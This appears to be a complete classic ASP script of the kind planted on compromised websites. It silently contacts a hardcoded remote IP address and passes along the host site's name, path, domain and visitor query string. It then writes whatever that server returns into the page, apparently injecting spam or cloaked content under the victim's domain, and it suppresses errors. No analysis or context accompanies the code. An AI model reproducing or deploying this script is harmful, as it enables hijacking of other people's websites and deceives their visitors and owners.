?% On Error Resume Next Server.ScriptTimeOut=9999 Function BytesToBstr(Body,Cset) Dim Objstream Set Objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function function getBody(infopageurl) if infopageurl<>"" then dim xmlHttp set xmlHttp=server.createobject("Microsoft.XMLHTTP") xmlHttp.open "GET",infopageurl,false xmlHttp.send getBody=BytesToBstr(xmlhttp.responsebody,"utf-8") set xmlHttp=nothing end if end function Remote_server = "http://103.148.150.34" '服务端页? host_name="http://"&request.servervariables("HTTP_HOST")&request.servervariables("script_name") Remote_file = Remote_server&"/index.php"&"?host="&host_name&"&url="&Request.servervariables("Query_String")&"&domain="&Request.servervariables("Server_Name") Html = getBody(Remote_file) File = replace(Html,Remote_server,"") response.write(File) %>